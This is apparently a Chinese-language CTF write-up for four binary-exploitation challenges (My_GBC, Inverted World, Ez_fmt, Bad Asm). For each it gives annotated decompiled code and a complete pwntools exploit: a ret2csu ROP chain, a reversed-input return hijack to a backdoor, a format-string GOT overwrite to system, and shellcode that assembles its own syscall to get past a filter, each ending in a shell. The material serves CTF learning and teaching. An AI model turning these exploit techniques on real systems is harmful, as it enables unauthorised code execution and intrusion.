My_GBC!!!!!
checksec

开了NX,意味着栈不可执行,下面可能要构造ROP链
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF // 定义了一个名为 buf的 16 字节数组
initial(argc, argv, envp); // 调用初始化函数
write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL); //向 stdout (fd = 1) 打印提示信 息。
0x2C = 44,也就是打印长度 44 的字符串。
len = read(0, buf, 0x500uLL); //读取用户输入, 读入最多 0x500 字节数据,写入到 buf
write(1, "Original: ", 0xBuLL); // 打印“Original: ”
write(1, buf, len); // 然后把用户输入的内容按 len长度输出 , 这里 buf里写了多少,都会被原样打印出来
write(1, "\n", 1uLL);
encrypt(buf, (unsigned __int8)key, (unsigned int)len); // 调用加密函数 ,下面详细看看
write(1, "Encrypted: ", 0xCuLL);
write(1, buf, len);
write(1, "\n", 1uLL); //和上面一样
return 0;
}
encrypt函数
__int64 __fastcall encrypt(__int64 a1, char a2, int a3)
{
__int64 result; // rax //声明变量result
unsigned int i; // [rsp+1Ch] [rbp-4h] //声明循环变量i
for ( i = 0; ; ++i ) //循环部分
{
result = i;
if ( (int)i >= a3 ) // 从 i=0开始,一直加到i==a3停止
break;
*(_BYTE *)((int)i + a1) ^= a2; //核心操作部分, 先按字节对 buffer 的第 i 个位置做异或(XOR)操作
*(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3); // 再左循环位移 3 位
}
return result;
}
tip:这里科普一下fd
fd(标准文件描述符)(标准输入输出)
操作系统在启动一个程序时,会默认打开三个文件描述符,分别是:
| 文件 | 描述 | 文件描述符 |
| stdin | 标准输入(通常是键盘) | 0 |
| stdout | 标准输出(通常是终端/屏幕) | 1 |
| stderr | 标准错误输出(也是终端) | 2 |
但是要构造ROP链的话我们发现一个很严重的问题,那就是程序缺少可用的寄存器进行传参(64位传参顺序 rdi rsi rdx rcx r8 r9)

我们注意到程序中有csu片段,那我们可以利用ret2csu来进行传参

EXP
# 引入 pwntools 工具包,专门用来写 CTF 或漏洞利用脚本
from pwn import *
# 设置基础环境信息:
# log_level = 'debug':让 pwntools 自动打印详细的调试信息
# arch = 'amd64':程序是 64 位的
# os = 'linux':程序运行在 Linux 系统上
context(log_level='debug', arch='amd64', os='linux')
# 设置当用 gdb 调试程序时,使用 tmux 水平分屏打开终端
context.terminal = ["tmux", "splitw", "-h"]
# ========== 工具函数区 ==========
# 把小于 8 字节的内容补成 8 字节再解码成 int(用于读取地址)
def uu64(x): return u64(x.ljust(8, b'\x00'))
# 快捷的发送函数们
def s(x): return p.send(x) # 发送原始字节
def sa(x, y): return p.sendafter(x, y) # 在看到提示 x 后发送 y
def sl(x): return p.sendline(x) # 发送一行(自动加换行)
def sla(x, y): return p.sendlineafter(x, y)# 在看到提示 x 后发送一行 y
def r(x): return p.recv(x) # 接收指定长度的字节
def ru(x): return p.recvuntil(x) # 接收到特定字符串为止
# ========== 本地 or 远程运行 ==========
k = 0 # 改成 0 就是本地调试,1 是连接远程
if k:
addr = '' # 改成远程地址:端口,例如 'pwn.server.com:1234'
host = addr.split(':')
p = remote(host[0], host[1]) # 连接远程服务
else:
p = process('./pwn') # 启动本地 ELF 程序
# 加载 ELF 文件和 libc 文件,用于找符号(函数地址等)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# 调试函数,可以插入断点用 gdb 跟踪调试
def debug():
gdb.attach(p, 'b *0x401399\nc\n') # 在 0x401399 设置断点,然后继续运行
# ========== 解密函数区 ==========
# 向右旋转 n 位的函数(单字节的 ror 操作)
def ror(val, n):
return ((val >> n) | (val << (8 - n))) & 0xFF
# 实际的解密函数:先 ror,然后异或 key
def decrypt(data: bytes, key: int):
decrypted_data = bytearray()
for byte in data:
byte = ror(byte, 3) # 右移 3 位
byte ^= key # 异或 key
decrypted_data.append(byte)
return decrypted_data
# ========== ROP Gadget 构造函数区 ==========
# 构造第一个 CSU(构造函数调用的通用 gadget)部分,传参使用
def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1): #这里rbx=0是为了让上面call调用的是r15的内容, rbp=1是为了防止进入jnz跳转循环
r12 = arg1 # 第一个参数 -> edi (rdi的低32位),输入0(写入)或1(读取)
r13 = arg2 # 第二个参数 -> rsi (读或写到的位置)
r14 = arg3 # 第三个参数 -> rdx(读或写的字节数)
r15 = func # 实际调用的函数地址
payload = p64(0x4013AA) # gadget1:设置参数的地址
payload += p64(rbx) + p64(rbp)
payload += p64(r12) + p64(r13)
payload += p64(r14) + p64(r15)
return payload
# CSU 的第二段 gadget(会调用上面准备好的函数)
def csu_2():
return p64(0x401390) # gadget2:跳转执行 r15(r12, r13, r14)
# ========== 构造 payload 区 ==========
add_rsp_8_ret = 0x401016 # ROP 链调整栈使用的 gadget:add rsp, 8; ret
ret = 0x40101a # 简单 ret,防止栈对齐错误
# 拼出完整的 payload
payload = b'a' * 0x18 # 填满缓冲区,覆盖到返回地址,(16+8=24=0x18)
# 第一步:read(1, write@got, 0x100),从write函数的got表读 0x100 字节进 read@got,方便后续控制
payload += csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
# 第二步:read(0, 0x404090, 0x50),把后续指令写入可控内存区域
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
# 第三步:调用空地址 0x404098(我们在后续会把system(“/bin/sh”)写在这里给上面的read读取到)
payload += csu_1(0, 0, 0, 0x404098) + csu_2()
payload += p64(ret) #64位程序栈必须 16 字节对齐
# 第四步:执行我们放到 0x404090 的指令:跳到 system
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
# ========== 正式开始攻击 ==========
ru(b'Input something:') # 等待程序提示输入
s(decrypt(payload, 90)) # 把构造好的 payload 加密后发给程序
# 读取泄露的地址,用于计算 libc 的基址
libc_base = u64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}") # 打印出计算好的 libc 基地址
# 构造第二阶段 payload:system("/bin/sh")
payload = p64(libc_base + libc.sym.system) # system 函数地址
payload += p64(add_rsp_8_ret) # 调整栈
payload += b'/bin/sh\x00' # 命令字符串
s(payload) # 发送第二阶段 payload
p.interactive() # 拿到 shell,开始互动
Inverted World
checksec

发现未开启 pie,开启了 Canary
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF //栈上分配的 255 字节buf缓冲区
_BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF // 另一个栈上的v5数组,仅 17 字节
*(_QWORD *)&v5[9] = __readfsqword(40u);
init(argc, argv, envp);
table();
write(0, "root@AkyOI-VM:~# ", 18uLL);
read(0, v5, 1298uLL); //这里的read暗藏玄机,详细看下面
write(1, buf, 256uLL);
puts(byte_402509);
puts("??? What's wrong with the terminal?");
return 0;
}
自定义的read函数(并不是libc中标准的read函数)
ssize_t read(int fd, void *buf, size_t nbytes)
{
char bufa; // [rsp+2Bh] [rbp-15h] BYREF
int v6; // [rsp+2Ch] [rbp-14h]
__int64 i; // [rsp+30h] [rbp-10h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u); //读取canary的值 tip: 在 x86_64 Linux 上的 glibc 实现中,栈 canary(也叫 stack guard)就是保存在 fs:0x28 这个偏移上的。
for ( i = 0LL; i > -(__int64)nbytes; --i ) //从i=0开始循环,实现将数据倒着写到 buf 中(从高地址往低地址写,正常是从低地址向高地址写)
{
v6 = read(fd, &bufa, 1uLL);
if ( v6 != 1 ) //如果没读到
{
puts("Man What can I say? Man! This is not funny."); //输出这个
exit(0);
}
if ( bufa == 10 ) //如果遇到‘\n’('\n' 的 ASCII 是 10)
{
*((_BYTE *)buf + i) = 0;
return v8 - __readfsqword(0x28u);//返回canary差值,相当于退出
tip:
v8 是函数开头读取的 canary 值(fs:[0x28])。
__readfsqword(0x28u) 是再次读取当前的 canary 值。相减看canary有没有被改动
}
*((_BYTE *)buf + i) = bufa;
}
return v8 - __readfsqword(0x28u);
}
天哪,发现这题有后门

注意,这个后门函数有个判断条件hackable,我们不用管它,直接绕过,从更下面的地址开始,0x401386这个calloc调用这里就挺好

void __noreturn backdoor()
{
if (hackable) {
// ✅ 真·后门逻辑从这里开始,就是我们刚才说的0x401386
command = calloc(0x1000, 1);
puts("root@AkyOI-VM:~# ");
read(0, command + 1, 2);
system(command);
exit(0);
} else {
// ❌ 普通路径(打脸路径,给你假的flag)
puts("This system is absolutely secure!");
system("echo flag");
exit(0);
}}
思路:main函数的 read 存在栈溢出,但是这个 read 函数是自定义的(源码中命名函数名为 _read 来实现的)。
_read 实现的是和正常 read 相反方向进行输入,我们这里输入的长度 0x512 明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read 函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。
反向输入 sh 即可执行 system("sh") 拿到 shell.
关于 Canary 因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.
大概原理图如下:
Stack (高地址 ↓→ 低地址):
main()
│
├── [返回地址] ← 低地址
├── [saved RBP]
├── [v5 @ rbp-0x11] 我们从v5的下面这个起始位置往下填充0x100=256个‘a’
├── [buf @ rbp-0x110] 刚好覆盖完buf
│
└── 调用 _read() → _read 的栈帧:
├── [返回地址 ← 我们想覆盖这个]
├── [saved RBP]
├── [local vars: bufa, v6, i, v8...]
EXP
from pwn import*
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
p=remote('???.???.???.???', ?????) //远程连接靶机
payload=b'a'*0x100 //填充0x100个a,
p.sendline(payload+p64(0x0401386)[::-1]) //跳到0x040137C这个地址,执行后门函数部分,[::-1]这个是倒着写的意思
p.sendlineafter("root@AkyOI-VM:~#", "hs") //当接收到这一行字符时,发送hs
p.sendline("cat flag")
p.interactive()
「明明还有 init()、table()等函数,为什么覆盖完 buf就能打到 _read的返回地址?」
答案是:那些函数在你调用 read()之前已经跑完了,它们的栈帧早就被释放了。
唯一还在栈上的、还没返回的函数是谁?
是你当前正在执行的 _read()!
🔍栈帧动态示意图(以调用 read()为分界线)
⏱在调用 read()之前(正常执行阶段):
Stack 高地址 ↓
[main 返回地址] ← ⬅️ 高
[saved rbp]
[buf (0xFF bytes)]
[v5 (0x11 bytes)]
(main 当前运行中)
│─ 调用 init() ──> [init 的栈帧]
│─ 调用 table() ─> [table 的栈帧]
│
│(这些函数在调用后会 return,栈帧就弹掉了!)
→ write() 输出提示符
→ 调用 read(0, v5, 0x512)
Ez_fmt
checksec

Vuln函数
int vuln()
{
int result; // eax
int i; // [rsp+Ch] [rbp-44h]
_QWORD buf[8]; // [rsp+10h] [rbp-40h] BYREF 每个 _QWORD 是 8 字节, 整个 buf[8]实际上是占 了 64 字节的栈空间
buf[7] = __readfsqword(0x28u); 这句是保存栈 canary 的值
memset(buf, 0, 48); 将 buf 前 48 字节清零,为后续输入做准备
result = puts("you know it's easy fmt\ntry !");
for ( i = 0; i <= 2; ++i ) 循环3次,给你3次利用机会
{
puts("data: ");
read(0, buf, 0x30uLL); 从标准输入读取 48 字节进buf,注意:无输入校验。
printf((const char *)buf); 格式化字符串漏洞点! 无格式化符号限定的printf,经典的格式化字符串漏洞,攻击者可以输入:
%p:泄露栈内容
%n:写任意地址(配合地址控制和格式串偏移)
%s:读取任意地址内容
result = (unsigned int)memset(buf, 0, 0x30uLL);
}
return result;
}
根据程序,我们有三次格式化字符串的机会
- 第一次泄露 libc
- 第二次改
printfGOT 表地址为system - 第三次输入为
sh,构造出printf(buf)=system(sh)即可

这里可以看出offest为8(AAAA就是0x41414141)
接下来我们gdb调试看一下,在printf函数上下断点,看下栈上内容

发现0x7ffff7c29d90这个地址,就是我们要的libc地址(0x7f开头,且符合libc地址特征)

偏移是0x29d90
对于printf函数来说,x86-64架构 中,它有6个参数,都是通过寄存器来传递的(rdi, rsi, rdx, rcx, r8, r9) 所以我们数条目的时候要加上6,rsp下面的是返回地址,再下面开始第7个参数,数到第19个参数就是在0x7ffff7c29d90,所以%19$p就可以泄露这个地址

第12和第13个参数都是0x0000000(第一个地址是第6个参数)
EXP
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
flag = 0
p = remote('127.0.0.1',42111 )
def leak(name, addr): return log.success(name+"--->"+hex(addr)) 定义一个leak函数,下面会用到
p.sendlineafter(b': \n', b'%19$p') 泄露 libc 地址
p.recvuntil(b'0x')
libc.address = int(p.recv(12), 16) - 0x29d90 从返回中取出地址,减去偏移 0x29d90,算出 libc 的加 载基址
leak("libc", libc.address) 打印出来泄露结果
low = libc.sym['system'] & 0xff system 地址的低1字节
high = (libc.sym['system'] >> 8) & 0xffff system 地址的次高2字节
因为格式化字符串一次只能写 1 or 2 字节,所以我们要拆开写 system()的地址。
low是最低的 8 位(1 字节),high是接下来的 2 字节
payload = b'%' + str(low).encode() + b'c%12$hhn'
payload += b'%' + str(high - low).encode() + b'c%13$hn'
%{low}c 表示先打印这么多字符(就是控制输出长度)——这就是格式化字符串的 trick:打印多少字符就能写入多少到内存。
%12$hhn 表示把刚才打印的字符数(就是 low)写入第12个参数指向的地址(hhn 是写 1 字节,hn是写2字节)
payload = payload.ljust(0x20, b'a') 表示把当前 payload 填充到 0x20 字节(32 字节)长,不足的部分用 b'a' 补上。 之前我们知道格式化字符串的offest为8,从第8个补到第12个刚好32字节
至于为什么要用第12个和第13个参数,是因为那里刚好是空位置,栈上其他位置都有数据,如果不小心覆盖了程序就会崩。(其他空位置也可以,但是要保证ljust刚好填到那里,输入是从第8个参数开始的)
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1) 手动补了两个地址进 payload:[printf@got], [printf@got+1]
p.sendafter(b': \n', payload)
p.sendlineafter(b': \n', b' sh;')
p.interactive()
printf@got是什么?
- 程序编译后,对于那些 “运行时才知道地址的函数” 比如
printf,会先放个占位地址在 GOT 表中。 - 程序运行的时候,
printf()实际会先跳到它的 GOT 表里查一下真实地址,再跳过去执行。 - GOT = Global Offset Table,全局偏移表。
👉所以 printf@got这个地址存的是 printf的真实地址,程序运行时会先跳到这看一眼
- 如果程序接下来执行
printf("sh"),它本来会跳到printf@got→ 找到printf()。 - 你把
printf@got劫持成system了,它就会跳到system()去执行。
Bad Asm
checksec

main函数部分
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) //入口函数
{
int i; // [rsp+8h] [rbp-18h]
int v4; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h] //buf存储区
char *dest; // [rsp+18h] [rbp-8h] //dest 是后面执行用的区(可读写执行),上面开了NX ,但不影响我用这段新的区域
init(argc, argv, envp); //初始化操作,不重要
label(); //打印题面信息,这道题中说一个欢迎样式的Bad Asm
buf = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); //这里分配了一个 0x1000 字节的内存页(4KB)
dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); // 又分配了一块 0x1000字节的内存,但这块内存是 可执行的! 权限是 7,表示可读、可写、可执行(RWX)
puts("Input your Code : ");
v4 = read(0, buf, 0x1000uLL); //从标准输入读 0x1000 个字节(最多 4096),存到刚刚分配的 buf 中,
你输入的字节数会保存在 v4 里
for ( i = 0; i < v4 - 1; ++i ) // 开始一个循环,从 buf[0] 一直检查到 buf[v4-2]
{
if ( *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 5
|| *((_BYTE *)buf + i) == 15 && *((_BYTE *)buf + i + 1) == 52 ) //重点检测:是不是用了某些敏感指令
0F 05 是 syscall(x86_64 下的系统调用)
0F 34 是 sysenter(旧式系统调用方式)
⚠️ 这题不允许你直接调用 syscall! 反正就是不能系统调用
{
puts("ERROR \\\\ Unavailable ! : syscall/sysenter/int 0x80");
exit(1);
}
}
strcpy(dest, (const char *)buf); // 用不安全的 strcpy 把你输入的内容拷贝到 dest,
就是那个可执行的 RWX 区 ,没有长度限制
补充: 如果你输入里含有 \x00(字符串结束符),会导致拷贝提前结束
exec(dest); // 直接执行你搬过去的 输入
exit(1);
}
思路:我们不能直接写 syscall 指令 → 那就「写进去的不是 syscall,而是运行时再动态拼出来的 syscall!」
🧠 利用 rwx 内存 + xor 拼接 + 写入指令流末尾 = 自己在 shellcode 中制造 syscall!
EXP
from pwn import *
from Cryptodome.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('127.0.0.1', 35037)
shellcode='''
;
mov rsp, rdi 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,rdi 是 mmap 区地址,也就是 shellcode 当前加载地址(在动态调试的过程中发现rsp的值被清零了)
mov rax, rdi 保存 rdi 到 万能寄存器rax,后面用来写 syscall
add sp, 0x0848 将栈指针(sp)加上0x0848,向更高的内存地址,把这个偏移当作栈顶(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi,rdi rsi=rdi,就是从当前shellcode的位置开始读
mov dx, 0x3fff ; 一次最多读 0x3fff 字节(管够)
这两行作用是设置 rsi rdx 寄存器,上面这个rsi = mmap 区地址(也就是 read 的 buf)
mov cx, 0x454f
xor cx, 0x4040 ; 0x454f^0x4040=0x0f05,就是syscall的机器码
add al, 0x40
mov [rax], cx ; rax原本指向的是当前段的开始位置,加上一个偏移0x40,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面(这里0x40+syscall的字节=0x42,后面会用到)
xor rdi, rdi rdi = 0,stdin
xor rax, rax rax = 0,read 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
最终形成的调用 read(0, code, 0x3fff)
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) 填充到0x40字节,x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。
p.send(b'a'*0x42+asm(shellcraft.sh())) 0x42个a正好覆盖完前面的syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()
第一段shellcode,也就是p.sendafter(“Input your Code :”, asm(shellcode).ljust(0x40, b’\x90′)),执行完后,由于程序没有检测到0f05,于是就把这个shellcode复制到dest里面使用,这里面有执行权,执行了 read(0, code, 0x3fff),然后我们发送第二段shellcode,被这个read读取,但是这里读取到的地方和我们之前写的第一段shellcode的地方是同一个地址,所以为了避免read后再执行read(无限循环),我们直接填充a覆盖掉syscall,然后写入shellcraft.sh()执行拿shell









